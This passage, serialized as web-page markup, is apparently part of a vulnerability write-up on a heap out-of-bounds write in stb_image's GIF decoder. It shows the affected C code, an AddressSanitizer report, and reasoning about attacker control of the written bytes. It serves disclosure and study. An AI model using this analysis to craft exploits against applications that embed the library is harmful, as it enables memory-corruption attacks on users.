write\n",[149634],{"type":24,"tag":32,"props":149635,"children":149636},{"__ignoreMap":7},[149637,149679,149686,149712,149725,149732,149740,149747,149801,149808,149854,149887],{"type":24,"tag":90,"props":149638,"children":149639},{"class":92,"line":93},[149640,149644,149648,149653,149658,149662,149666,149671,149675],{"type":24,"tag":90,"props":149641,"children":149642},{"style":97},[149643],{"type":29,"value":52868},{"type":24,"tag":90,"props":149645,"children":149646},{"style":97},[149647],{"type":29,"value":52873},{"type":24,"tag":90,"props":149649,"children":149650},{"style":108},[149651],{"type":29,"value":149652}," stbi__out_gif_code",{"type":24,"tag":90,"props":149654,"children":149655},{"style":114},[149656],{"type":29,"value":149657},"(stbi__gif ",{"type":24,"tag":90,"props":149659,"children":149660},{"style":120},[149661],{"type":29,"value":983},{"type":24,"tag":90,"props":149663,"children":149664},{"style":136},[149665],{"type":29,"value":111128},{"type":24,"tag":90,"props":149667,"children":149668},{"style":114},[149669],{"type":29,"value":149670},", stbi__uint16 ",{"type":24,"tag":90,"props":149672,"children":149673},{"style":136},[149674],{"type":29,"value":32},{"type":24,"tag":90,"props":149676,"children":149677},{"style":114},[149678],{"type":29,"value":1686},{"type":24,"tag":90,"props":149680,"children":149681},{"class":92,"line":200},[149682],{"type":24,"tag":90,"props":149683,"children":149684},{"style":114},[149685],{"type":29,"value":2221},{"type":24,"tag":90,"props":149687,"children":149688},{"class":92,"line":239},[149689,149694,149698,149703,149707],{"type":24,"tag":90,"props":149690,"children":149691},{"style":114},[149692],{"type":29,"value":149693}," stbi_uc ",{"type":24,"tag":90,"props":149695,"children":149696},{"style":120},[149697],{"type":29,"value":983},{"type":24,"tag":90,"props":149699,"children":149700},{"style":114},[149701],{"type":29,"value":149702},"p, ",{"type":24,"tag":90,"props":149704,"children":149705},{"style":120},[149706],{"type":29,"value":983},{"type":24,"tag":90,"props":149708,"children":149709},{"style":114},[149710],{"type":29,"value":149711},"c;\n",{"type":24,"tag":90,"props":149713,"children":149714},{"class":92,"line":248},[149715,149720],{"type":24,"tag":90,"props":149716,"children":149717},{"style":97},[149718],{"type":29,"value":149719}," int",{"type":24,"tag":90,"props":149721,"children":149722},{"style":114},[149723],{"type":29,"value":149724}," idx; \n",{"type":24,"tag":90,"props":149726,"children":149727},{"class":92,"line":258},[149728],{"type":24,"tag":90,"props":149729,"children":149730},{"emptyLinePlaceholder":16},[149731],{"type":29,"value":245},{"type":24,"tag":90,"props":149733,"children":149734},{"class":92,"line":272},[149735],{"type":24,"tag":90,"props":149736,"children":149737},{"style":114},[149738],{"type":29,"value":149739}," [...]\n",{"type":24,"tag":90,"props":149741,"children":149742},{"class":92,"line":281},[149743],{"type":24,"tag":90,"props":149744,"children":149745},{"emptyLinePlaceholder":16},[149746],{"type":29,"value":245},{"type":24,"tag":90,"props":149748,"children":149749},{"class":92,"line":384},[149750,149754,149758,149762,149766,149771,149775,149780,149784,149789,149793,149797],{"type":24,"tag":90,"props":149751,"children":149752},{"style":636},[149753],{"type":29,"value":54468},{"type":24,"tag":90,"props":149755,"children":149756},{"style":114},[149757],{"type":29,"value":1151},{"type":24,"tag":90,"props":149759,"children":149760},{"style":136},[149761],{"type":29,"value":111128},{"type":24,"tag":90,"props":149763,"children":149764},{"style":114},[149765],{"type":29,"value":177},{"type":24,"tag":90,"props":149767,"children":149768},{"style":136},[149769],{"type":29,"value":149770},"cur_y",{"type":24,"tag":90,"props":149772,"children":149773},{"style":120},[149774],{"type":29,"value":10679},{"type":24,"tag":90,"props":149776,"children":149777},{"style":136},[149778],{"type":29,"value":149779}," g",{"type":24,"tag":90,"props":149781,"children":149782},{"style":114},[149783],{"type":29,"value":177},{"type":24,"tag":90,"props":149785,"children":149786},{"style":136},[149787],{"type":29,"value":149788},"max_y",{"type":24,"tag":90,"props":149790,"children":149791},{"style":114},[149792],{"type":29,"value":172},{"type":24,"tag":90,"props":149794,"children":149795},{"style":636},[149796],{"type":29,"value":50280},{"type":24,"tag":90,"props":149798,"children":149799},{"style":114},[149800],{"type":29,"value":381},{"type":24,"tag":90,"props":149802,"children":149803},{"class":92,"line":420},[149804],{"type":24,"tag":90,"props":149805,"children":149806},{"emptyLinePlaceholder":16},[149807],{"type":29,"value":245},{"type":24,"tag":90,"props":149809,"children":149810},{"class":92,"line":428},[149811,149816,149820,149824,149828,149833,149837,149841,149845,149849],{"type":24,"tag":90,"props":149812,"children":149813},{"style":114},[149814],{"type":29,"value":149815}," idx ",{"type":24,"tag":90,"props":149817,"children":149818},{"style":120},[149819],{"type":29,"value":5491},{"type":24,"tag":90,"props":149821,"children":149822},{"style":136},[149823],{"type":29,"value":149779},{"type":24,"tag":90,"props":149825,"children":149826},{"style":114},[149827],{"type":29,"value":177},{"type":24,"tag":90,"props":149829,"children":149830},{"style":136},[149831],{"type":29,"value":149832},"cur_x",{"type":24,"tag":90,"props":149834,"children":149835},{"style":120},[149836],{"type":29,"value":1714},{"type":24,"tag":90,"props":149838,"children":149839},{"style":136},[149840],{"type":29,"value":149779},{"type":24,"tag":90,"props":149842,"children":149843},{"style":114},[149844],{"type":29,"value":177},{"type":24,"tag":90,"props":149846,"children":149847},{"style":136},[149848],{"type":29,"value":149770},{"type":24,"tag":90,"props":149850,"children":149851},{"style":114},[149852],{"type":29,"value":149853},"; \n",{"type":24,"tag":90,"props":149855,"children":149856},{"class":92,"line":437},[149857,149862,149866,149870,149874,149878,149882],{"type":24,"tag":90,"props":149858,"children":149859},{"style":114},[149860],{"type":29,"value":149861}," p ",{"type":24,"tag":90,"props":149863,"children":149864},{"style":120},[149865],{"type":29,"value":5491},{"type":24,"tag":90,"props":149867,"children":149868},{"style":120},[149869],{"type":29,"value":455},{"type":24,"tag":90,"props":149871,"children":149872},{"style":136},[149873],{"type":29,"value":111128},{"type":24,"tag":90,"props":149875,"children":149876},{"style":114},[149877],{"type":29,"value":177},{"type":24,"tag":90,"props":149879,"children":149880},{"style":136},[149881],{"type":29,"value":120551},{"type":24,"tag":90,"props":149883,"children":149884},{"style":114},[149885],{"type":29,"value":149886},"[idx];\n",{"type":24,"tag":90,"props":149888,"children":149889},{"class":92,"line":574},[149890,149895,149899,149904,149909,149913,149917,149921,149925,149929,149933],{"type":24,"tag":90,"props":149891,"children":149892},{"style":136},[149893],{"type":29,"value":149894}," g",{"type":24,"tag":90,"props":149896,"children":149897},{"style":114},[149898],{"type":29,"value":177},{"type":24,"tag":90,"props":149900,"children":149901},{"style":136},[149902],{"type":29,"value":149903},"history",{"type":24,"tag":90,"props":149905,"children":149906},{"style":114},[149907],{"type":29,"value":149908},"[idx ",{"type":24,"tag":90,"props":149910,"children":149911},{"style":120},[149912],{"type":29,"value":6966},{"type":24,"tag":90,"props":149914,"children":149915},{"style":349},[149916],{"type":29,"value":14114},{"type":24,"tag":90,"props":149918,"children":149919},{"style":114},[149920],{"type":29,"value":11037},{"type":24,"tag":90,"props":149922,"children":149923},{"style":120},[149924],{"type":29,"value":5491},{"type":24,"tag":90,"props":149926,"children":149927},{"style":349},[149928],{"type":29,"value":6909},{"type":24,"tag":90,"props":149930,"children":149931},{"style":114},[149932],{"type":29,"value":50897},{"type":24,"tag":90,"props":149934,"children":149935},{"style":252},[149936],{"type":29,"value":149937}," // OOB write\n",{"type":24,"tag":25,"props":149939,"children":149940},{},[149941,149943,149948,149950,149956,149958,149964],{"type":29,"value":149942},"It’s reasonable to assume ",{"type":24,"tag":32,"props":149944,"children":149946},{"className":149945},[],[149947],{"type":29,"value":78347},{"type":29,"value":149949}," is outside the bounds of ",{"type":24,"tag":32,"props":149951,"children":149953},{"className":149952},[],[149954],{"type":29,"value":149955},"g->history",{"type":29,"value":149957},", which leads to a one-byte OOB write (",{"type":24,"tag":32,"props":149959,"children":149961},{"className":149960},[],[149962],{"type":29,"value":149963},"g->history[idx / 4] = 1",{"type":29,"value":149965},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":149967,"children":149968},{},[149969,149971,149976,149978,149984,149986,149991,149993,149999,150001,150007],{"type":29,"value":149970},"Because ",{"type":24,"tag":32,"props":149972,"children":149974},{"className":149973},[],[149975],{"type":29,"value":25},{"type":29,"value":149977}," is computed from ",{"type":24,"tag":32,"props":149979,"children":149981},{"className":149980},[],[149982],{"type":29,"value":149983},"g->out[idx]",{"type":29,"value":149985}," immediately before the violation, we considered whether ",{"type":24,"tag":32,"props":149987,"children":149989},{"className":149988},[],[149990],{"type":29,"value":78347},{"type":29,"value":149992}," could also be OOB for ",{"type":24,"tag":32,"props":149994,"children":149996},{"className":149995},[],[149997],{"type":29,"value":149998},"g->out",{"type":29,"value":150000},". Note that computing the address ",{"type":24,"tag":32,"props":150002,"children":150004},{"className":150003},[],[150005],{"type":29,"value":150006},"&g->out[idx]",{"type":29,"value":150008}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":150010,"children":150011},{},[150012,150014,150019],{"type":29,"value":150013},"If we comment out ",{"type":24,"tag":32,"props":150015,"children":150017},{"className":150016},[],[150018],{"type":29,"value":149963},{"type":29,"value":150020}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":80,"props":150022,"children":150024},{"code":150023},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[150025],{"type":24,"tag":32,"props":150026,"children":150027},{"__ignoreMap":7},[150028],{"type":29,"value":150023},{"type":24,"tag":25,"props":150030,"children":150031},{},[150032],{"type":29,"value":150033},"This corresponds to:",{"type":24,"tag":80,"props":150035,"children":150037},{"code":150036,"language":3030,"meta":7,"className":3028,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[150038],{"type":24,"tag":32,"props":150039,"children":150040},{"__ignoreMap":7},[150041,150080,150087,150094,150101,150144,150175,150219,150226,150294,150334,150379,150418,150457,150496],{"type":24,"tag":90,"props":150042,"children":150043},{"class":92,"line":93},[150044,150048,150052,150056,150060,150064,150068,150072,150076],{"type":24,"tag":90,"props":150045,"children":150046},{"style":97},[150047],{"type":29,"value":52868},{"type":24,"tag":90,"props":150049,"children":150050},{"style":97},[150051],{"type":29,"value":52873},{"type":24,"tag":90,"props":150053,"children":150054},{"style":108},[150055],{"type":29,"value":149652},{"type":24,"tag":90,"props":150057,"children":150058},{"style":114},[150059],{"type":29,"value":149657},{"type":24,"tag":90,"props":150061,"children":150062},{"style":120},[150063],{"type":29,"value":983},{"type":24,"tag":90,"props":150065,"children":150066},{"style":136},[150067],{"type":29,"value":111128},{"type":24,"tag":90,"props":150069,"children":150070},{"style":114},[150071],{"type":29,"value":149670},{"type":24,"tag":90,"props":150073,"children":150074},{"style":136},[150075],{"type":29,"value":32},{"type":24,"tag":90,"props":150077,"children":150078},{"style":114},[150079],{"type":29,"value":1686},{"type":24,"tag":90,"props":150081,"children":150082},{"class":92,"line":200},[150083],{"type":24,"tag":90,"props":150084,"children":150085},{"style":114},[150086],{"type":29,"value":2221},{"type":24,"tag":90,"props":150088,"children":150089},{"class":92,"line":239},[150090],{"type":24,"tag":90,"props":150091,"children":150092},{"style":114},[150093],{"type":29,"value":149739},{"type":24,"tag":90,"props":150095,"children":150096},{"class":92,"line":248},[150097],{"type":24,"tag":90,"props":150098,"children":150099},{"emptyLinePlaceholder":16},[150100],{"type":29,"value":245},{"type":24,"tag":90,"props":150102,"children":150103},{"class":92,"line":258},[150104,150108,150112,150116,150120,150124,150128,150132,150136,150140],{"type":24,"tag":90,"props":150105,"children":150106},{"style":114},[150107],{"type":29,"value":149815},{"type":24,"tag":90,"props":150109,"children":150110},{"style":120},[150111],{"type":29,"value":5491},{"type":24,"tag":90,"props":150113,"children":150114},{"style":136},[150115],{"type":29,"value":149779},{"type":24,"tag":90,"props":150117,"children":150118},{"style":114},[150119],{"type":29,"value":177},{"type":24,"tag":90,"props":150121,"children":150122},{"style":136},[150123],{"type":29,"value":149832},{"type":24,"tag":90,"props":150125,"children":150126},{"style":120},[150127],{"type":29,"value":1714},{"type":24,"tag":90,"props":150129,"children":150130},{"style":136},[150131],{"type":29,"value":149779},{"type":24,"tag":90,"props":150133,"children":150134},{"style":114},[150135],{"type":29,"value":177},{"type":24,"tag":90,"props":150137,"children":150138},{"style":136},[150139],{"type":29,"value":149770},{"type":24,"tag":90,"props":150141,"children":150142},{"style":114},[150143],{"type":29,"value":149853},{"type":24,"tag":90,"props":150145,"children":150146},{"class":92,"line":272},[150147,150151,150155,150159,150163,150167,150171],{"type":24,"tag":90,"props":150148,"children":150149},{"style":114},[150150],{"type":29,"value":149861},{"type":24,"tag":90,"props":150152,"children":150153},{"style":120},[150154],{"type":29,"value":5491},{"type":24,"tag":90,"props":150156,"children":150157},{"style":120},[150158],{"type":29,"value":455},{"type":24,"tag":90,"props":150160,"children":150161},{"style":136},[150162],{"type":29,"value":111128},{"type":24,"tag":90,"props":150164,"children":150165},{"style":114},[150166],{"type":29,"value":177},{"type":24,"tag":90,"props":150168,"children":150169},{"style":136},[150170],{"type":29,"value":120551},{"type":24,"tag":90,"props":150172,"children":150173},{"style":114},[150174],{"type":29,"value":149886},{"type":24,"tag":90,"props":150176,"children":150177},{"class":92,"line":281},[150178,150182,150186,150190,150194,150198,150202,150206,150210,150214],{"type":24,"tag":90,"props":150179,"children":150180},{"style":136},[150181],{"type":29,"value":149894},{"type":24,"tag":90,"props":150183,"children":150184},{"style":114},[150185],{"type":29,"value":177},{"type":24,"tag":90,"props":150187,"children":150188},{"style":136},[150189],{"type":29,"value":149903},{"type":24,"tag":90,"props":150191,"children":150192},{"style":114},[150193],{"type":29,"value":149908},{"type":24,"tag":90,"props":150195,"children":150196},{"style":120},[150197],{"type":29,"value":6966},{"type":24,"tag":90,"props":150199,"children":150200},{"style":349},[150201],{"type":29,"value":14114},{"type":24,"tag":90,"props":150203,"children":150204},{"style":114},[150205],{"type":29,"value":11037},{"type":24,"tag":90,"props":150207,"children":150208},{"style":120},[150209],{"type":29,"value":5491},{"type":24,"tag":90,"props":150211,"children":150212},{"style":349},[150213],{"type":29,"value":6909},{"type":24,"tag":90,"props":150215,"children":150216},{"style":114},[150217],{"type":29,"value":150218},"; \n",{"type":24,"tag":90,"props":150220,"children":150221},{"class":92,"line":384},[150222],{"type":24,"tag":90,"props":150223,"children":150224},{"emptyLinePlaceholder":16},[150225],{"type":29,"value":245},{"type":24,"tag":90,"props":150227,"children":150228},{"class":92,"line":420},[150229,150234,150238,150242,150246,150250,150255,150259,150263,150267,150272,150277,150282,150286,150290],{"type":24,"tag":90,"props":150230,"children":150231},{"style":114},[150232],{"type":29,"value":150233}," c ",{"type":24,"tag":90,"props":150235,"children":150236},{"style":120},[150237],{"type":29,"value":5491},{"type":24,"tag":90,"props":150239,"children":150240},{"style":120},[150241],{"type":29,"value":455},{"type":24,"tag":90,"props":150243,"children":150244},{"style":136},[150245],{"type":29,"value":111128},{"type":24,"tag":90,"props":150247,"children":150248},{"style":114},[150249],{"type":29,"value":177},{"type":24,"tag":90,"props":150251,"children":150252},{"style":136},[150253],{"type":29,"value":150254},"color_table",{"type":24,"tag":90,"props":150256,"children":150257},{"style":114},[150258],{"type":29,"value":719},{"type":24,"tag":90,"props":150260,"children":150261},{"style":136},[150262],{"type":29,"value":111128},{"type":24,"tag":90,"props":150264,"children":150265},{"style":114},[150266],{"type":29,"value":177},{"type":24,"tag":90,"props":150268,"children":150269},{"style":136},[150270],{"type":29,"value":150271},"codes",{"type":24,"tag":90,"props":150273,"children":150274},{"style":114},[150275],{"type":29,"value":150276},"[code].",{"type":24,"tag":90,"props":150278,"children":150279},{"style":136},[150280],{"type":29,"value":150281},"suffix",{"type":24,"tag":90,"props":150283,"children":150284},{"style":120},[150285],{"type":29,"value":366},{"type":24,"tag":90,"props":150287,"children":150288},{"style":349},[150289],{"type":29,"value":14114},{"type":24,"tag":90,"props":150291,"children":150292},{"style":114},[150293],{"type":29,"value":33387},{"type":24,"tag":90,"props":150295,"children":150296},{"class":92,"line":428},[150297,150301,150305,150309,150313,150317,150321,150325,150330],{"type":24,"tag":90,"props":150298,"children":150299},{"style":636},[150300],{"type":29,"value":54468},{"type":24,"tag":90,"props":150302,"children":150303},{"style":114},[150304],{"type":29,"value":1151},{"type":24,"tag":90,"props":150306,"children":150307},{"style":136},[150308],{"type":29,"value":3030},{"type":24,"tag":90,"props":150310,"children":150311},{"style":114},[150312],{"type":29,"value":719},{"type":24,"tag":90,"props":150314,"children":150315},{"style":349},[150316],{"type":29,"value":3817},{"type":24,"tag":90,"props":150318,"children":150319},{"style":114},[150320],{"type":29,"value":11037},{"type":24,"tag":90,"props":150322,"children":150323},{"style":120},[150324],{"type":29,"value":12830},{"type":24,"tag":90,"props":150326,"children":150327},{"style":349},[150328],{"type":29,"value":150329}," 128",{"type":24,"tag":90,"props":150331,"children":150332},{"style":114},[150333],{"type":29,"value":1297},{"type":24,"tag":90,"props":150335,"children":150336},{"class":92,"line":437},[150337,150342,150346,150350,150354,150358,150362,150366,150370,150374],{"type":24,"tag":90,"props":150338,"children":150339},{"style":136},[150340],{"type":29,"value":150341}," p",{"type":24,"tag":90,"props":150343,"children":150344},{"style":114},[150345],{"type":29,"value":719},{"type":24,"tag":90,"props":150347,"children":150348},{"style":349},[150349],{"type":29,"value":6408},{"type":24,"tag":90,"props":150351,"children":150352},{"style":114},[150353],{"type":29,"value":11037},{"type":24,"tag":90,"props":150355,"children":150356},{"style":120},[150357],{"type":29,"value":5491},{"type":24,"tag":90,"props":150359,"children":150360},{"style":136},[150361],{"type":29,"value":39261},{"type":24,"tag":90,"props":150363,"children":150364},{"style":114},[150365],{"type":29,"value":719},{"type":24,"tag":90,"props":150367,"children":150368},{"style":349},[150369],{"type":29,"value":3191},{"type":24,"tag":90,"props":150371,"children":150372},{"style":114},[150373],{"type":29,"value":57736},{"type":24,"tag":90,"props":150375,"children":150376},{"style":252},[150377],{"type":29,"value":150378}," // OOB write\n",{"type":24,"tag":90,"props":150380,"children":150381},{"class":92,"line":574},[150382,150386,150390,150394,150398,150402,150406,150410,150414],{"type":24,"tag":90,"props":150383,"children":150384},{"style":136},[150385],{"type":29,"value":150341},{"type":24,"tag":90,"props":150387,"children":150388},{"style":114},[150389],{"type":29,"value":719},{"type":24,"tag":90,"props":150391,"children":150392},{"style":349},[150393],{"type":29,"value":534},{"type":24,"tag":90,"props":150395,"children":150396},{"style":114},[150397],{"type":29,"value":11037},{"type":24,"tag":90,"props":150399,"children":150400},{"style":120},[150401],{"type":29,"value":5491},{"type":24,"tag":90,"props":150403,"children":150404},{"style":136},[150405],{"type":29,"value":39261},{"type":24,"tag":90,"props":150407,"children":150408},{"style":114},[150409],{"type":29,"value":719},{"type":24,"tag":90,"props":150411,"children":150412},{"style":349},[150413],{"type":29,"value":534},{"type":24,"tag":90,"props":150415,"children":150416},{"style":114},[150417],{"type":29,"value":33387},{"type":24,"tag":90,"props":150419,"children":150420},{"class":92,"line":606},[150421,150425,150429,150433,150437,150441,150445,150449,150453],{"type":24,"tag":90,"props":150422,"children":150423},{"style":136},[150424],{"type":29,"value":150341},{"type":24,"tag":90,"props":150426,"children":150427},{"style":114},[150428],{"type":29,"value":719},{"type":24,"tag":90,"props":150430,"children":150431},{"style":349},[150432],{"type":29,"value":3191},{"type":24,"tag":90,"props":150434,"children":150435},{"style":114},[150436],{"type":29,"value":11037},{"type":24,"tag":90,"props":150438,"children":150439},{"style":120},[150440],{"type":29,"value":5491},{"type":24,"tag":90,"props":150442,"children":150443},{"style":136},[150444],{"type":29,"value":39261},{"type":24,"tag":90,"props":150446,"children":150447},{"style":114},[150448],{"type":29,"value":719},{"type":24,"tag":90,"props":150450,"children":150451},{"style":349},[150452],{"type":29,"value":6408},{"type":24,"tag":90,"props":150454,"children":150455},{"style":114},[150456],{"type":29,"value":33387},{"type":24,"tag":90,"props":150458,"children":150459},{"class":92,"line":615},[150460,150464,150468,150472,150476,150480,150484,150488,150492],{"type":24,"tag":90,"props":150461,"children":150462},{"style":136},[150463],{"type":29,"value":150341},{"type":24,"tag":90,"props":150465,"children":150466},{"style":114},[150467],{"type":29,"value":719},{"type":24,"tag":90,"props":150469,"children":150470},{"style":349},[150471],{"type":29,"value":3817},{"type":24,"tag":90,"props":150473,"children":150474},{"style":114},[150475],{"type":29,"value":11037},{"type":24,"tag":90,"props":150477,"children":150478},{"style":120},[150479],{"type":29,"value":5491},{"type":24,"tag":90,"props":150481,"children":150482},{"style":136},[150483],{"type":29,"value":39261},{"type":24,"tag":90,"props":150485,"children":150486},{"style":114},[150487],{"type":29,"value":719},{"type":24,"tag":90,"props":150489,"children":150490},{"style":349},[150491],{"type":29,"value":3817},{"type":24,"tag":90,"props":150493,"children":150494},{"style":114},[150495],{"type":29,"value":33387},{"type":24,"tag":90,"props":150497,"children":150498},{"class":92,"line":623},[150499],{"type":24,"tag":90,"props":150500,"children":150501},{"style":114},[150502],{"type":29,"value":36563},{"type":24,"tag":25,"props":150504,"children":150505},{},[150506,150508,150513,150515,150520],{"type":29,"value":150507},"This confirms ",{"type":24,"tag":32,"props":150509,"children":150511},{"className":150510},[],[150512],{"type":29,"value":78347},{"type":29,"value":150514}," is OOB for ",{"type":24,"tag":32,"props":150516,"children":150518},{"className":150517},[],[150519],{"type":29,"value":149998},{"type":29,"value":150521}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":150523,"children":150524},{},[150525,150527,150533,150535,150542],{"type":29,"value":150526},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":32,"props":150528,"children":150530},{"className":150529},[],[150531],{"type":29,"value":150532},"g->color_table",{"type":29,"value":150534}," is populated by ",{"type":24,"tag":69,"props":150536,"children":150539},{"href":150537,"rel":150538},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[73],[150540],{"type":29,"value":150541},"stbi__gif_parse_colortable",{"type":29,"value":78},{"type":24,"tag":80,"props":150544,"children":150546},{"code":150545,"language":3030,"meta":7,"className":3028,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[150547],{"type":24,"tag":32,"props":150548,"children":150549},{"__ignoreMap":7},[150550,150570,150590,150629,150645,150657,150664,150675,150718,150752,150783,150814,150871,150878],{"type":24,"tag":90,"props":150551,"children":150552},{"class":92,"line":93},[150553,150557,150561,150566],{"type":24,"tag":90,"props":150554,"children":150555},{"style":97},[150556],{"type":29,"value":52868},{"type":24,"tag":90,"props":150558,"children":150559},{"style":97},[150560],{"type":29,"value":52873},{"type":24,"tag":90,"props":150562,"children":150563},{"style":108},[150564],{"type":29,"value":150565}," stbi__gif_parse_colortable",{"type":24,"tag":90,"props":150567,"children":150568},{"style":114},[150569],{"type":29,"value":680},{"type":24,"tag":90,"props":150571,"children":150572},{"class":92,"line":200},[150573,150578,150582,150586],{"type":24,"tag":90,"props":150574,"children":150575},{"style":114},[150576],{"type":29,"value":150577}," stbi__context ",{"type":24,"tag":90,"props":150579,"children":150580},{"style":120},[150581],{"type":29,"value":983},{"type":24,"tag":90,"props":150583,"children":150584},{"style":136},[150585],{"type":29,"value":13020},{"type":24,"tag":90,"props":150587,"children":150588},{"style":114},[150589],{"type":29,"value":748},{"type":24,"tag":90,"props":150591,"children":150592},{"class":92,"line":239},[150593,150598,150603,150607,150611,150615,150619,150624],{"type":24,"tag":90,"props":150594,"children":150595},{"style":114},[150596],{"type":29,"value":150597}," stbi_uc ",{"type":24,"tag":90,"props":150599,"children":150600},{"style":136},[150601],{"type":29,"value":150602},"pal",{"type":24,"tag":90,"props":150604,"children":150605},{"style":114},[150606],{"type":29,"value":719},{"type":24,"tag":90,"props":150608,"children":150609},{"style":349},[150610],{"type":29,"value":95125},{"type":24,"tag":90,"props":150612,"children":150613},{"style":114},[150614],{"type":29,"value":50781},{"type":24,"tag":90,"props":150616,"children":150617},{"style":349},[150618],{"type":29,"value":4051},{"type":24,"tag":90,"props":150620,"children":150621},{"style":114},[150622],{"type":29,"value":150623},"],",{"type":24,"tag":90,"props":150625,"children":150626},{"style":252},[150627],{"type":29,"value":150628}," // g->color_table\n",{"type":24,"tag":90,"props":150630,"children":150631},{"class":92,"line":248},[150632,150636,150641],{"type":24,"tag":90,"props":150633,"children":150634},{"style":97},[150635],{"type":29,"value":20871},{"type":24,"tag":90,"props":150637,"children":150638},{"style":136},[150639],{"type":29,"value":150640}," num_entries",{"type":24,"tag":90,"props":150642,"children":150643},{"style":114},[150644],{"type":29,"value":748},{"type":24,"tag":90,"props":150646,"children":150647},{"class":92,"line":258},[150648,150652],{"type":24,"tag":90,"props":150649,"children":150650},{"style":97},[150651],{"type":29,"value":20871},{"type":24,"tag":90,"props":150653,"children":150654},{"style":114},[150655],{"type":29,"value":150656}," transp\n",{"type":24,"tag":90,"props":150658,"children":150659},{"class":92,"line":272},[150660],{"type":24,"tag":90,"props":150661,"children":150662},{"style":114},[150663],{"type":29,"value":1297},{"type":24,"tag":90,"props":150665,"children":150666},{"class":92,"line":281},[150667,150671],{"type":24,"tag":90,"props":150668,"children":150669},{"style":97},[150670],{"type":29,"value":149719},{"type":24,"tag":90,"props":150672,"children":150673},{"style":114},[150674],{"type":29,"value":59789},{"type":24,"tag":90,"props":150676,"children":150677},{"class":92,"line":384},[150678,150683,150688,150692,150696,150700,150704,150709,150713],{"type":24,"tag":90,"props":150679,"children":150680},{"style":636},[150681],{"type":29,"value":150682}," for",{"type":24,"tag":90,"props":150684,"children":150685},{"style":114},[150686],{"type":29,"value":150687}," (i",{"type":24,"tag":90,"props":150689,"children":150690},{"style":120},[150691],{"type":29,"value":5491},{"type":24,"tag":90,"props":150693,"children":150694},{"style":349},[150695],{"type":29,"value":6408},{"type":24,"tag":90,"props":150697,"children":150698},{"style":114},[150699],{"type":29,"value":53057},{"type":24,"tag":90,"props":150701,"children":150702},{"style":120},[150703],{"type":29,"value":1575},{"type":24,"tag":90,"props":150705,"children":150706},{"style":114},[150707],{"type":29,"value":150708}," num_entries; ",{"type":24,"tag":90,"props":150710,"children":150711},{"style":120},[150712],{"type":29,"value":53093},{"type":24,"tag":90,"props":150714,"children":150715},{"style":114},[150716],{"type":29,"value":150717},"i) {\n",{"type":24,"tag":90,"props":150719,"children":150720},{"class":92,"line":420},[150721,150726,150730,150734,150738,150742,150747],{"type":24,"tag":90,"props":150722,"children":150723},{"style":136},[150724],{"type":29,"value":150725}," pal",{"type":24,"tag":90,"props":150727,"children":150728},{"style":114},[150729],{"type":29,"value":62480},{"type":24,"tag":90,"props":150731,"children":150732},{"style":349},[150733],{"type":29,"value":3191},{"type":24,"tag":90,"props":150735,"children":150736},{"style":114},[150737],{"type":29,"value":11037},{"type":24,"tag":90,"props":150739,"children":150740},{"style":120},[150741],{"type":29,"value":5491},{"type":24,"tag":90,"props":150743,"children":150744},{"style":108},[150745],{"type":29,"value":150746}," stbi__get8",{"type":24,"tag":90,"props":150748,"children":150749},{"style":114},[150750],{"type":29,"value":150751},"(s);\n",{"type":24,"tag":90,"props":150753,"children":150754},{"class":92,"line":428},[150755,150759,150763,150767,150771,150775,150779],{"type":24,"tag":90,"props":150756,"children":150757},{"style":136},[150758],{"type":29,"value":150725},{"type":24,"tag":90,"props":150760,"children":150761},{"style":114},[150762],{"type":29,"value":62480},{"type":24,"tag":90,"props":150764,"children":150765},{"style":349},[150766],{"type":29,"value":534},{"type":24,"tag":90,"props":150768,"children":150769},{"style":114},[150770],{"type":29,"value":11037},{"type":24,"tag":90,"props":150772,"children":150773},{"style":120},[150774],{"type":29,"value":5491},{"type":24,"tag":90,"props":150776,"children":150777},{"style":108},[150778],{"type":29,"value":150746},{"type":24,"tag":90,"props":150780,"children":150781},{"style":114},[150782],{"type":29,"value":150751},{"type":24,"tag":90,"props":150784,"children":150785},{"class":92,"line":437},[150786,150790,150794,150798,150802,150806,150810],{"type":24,"tag":90,"props":150787,"children":150788},{"style":136},[150789],{"type":29,"value":150725},{"type":24,"tag":90,"props":150791,"children":150792},{"style":114},[150793],{"type":29,"value":62480},{"type":24,"tag":90,"props":150795,"children":150796},{"style":349},[150797],{"type":29,"value":6408},{"type":24,"tag":90,"props":150799,"children":150800},{"style":114},[150801],{"type":29,"value":11037},{"type":24,"tag":90,"props":150803,"children":150804},{"style":120},[150805],{"type":29,"value":5491},{"type":24,"tag":90,"props":150807,"children":150808},{"style":108},[150809],{"type":29,"value":150746},{"type":24,"tag":90,"props":150811,"children":150812},{"style":114},[150813],{"type":29,"value":150751},{"type":24,"tag":90,"props":150815,"children":150816},{"class":92,"line":574},[150817,150821,150825,150829,150833,150837,150842,150846,150850,150854,150858,150862,150867],{"type":24,"tag":90,"props":150818,"children":150819},{"style":136},[150820],{"type":29,"value":150725},{"type":24,"tag":90,"props":150822,"children":150823},{"style":114},[150824],{"type":29,"value":62480},{"type":24,"tag":90,"props":150826,"children":150827},{"style":349},[150828],{"type":29,"value":38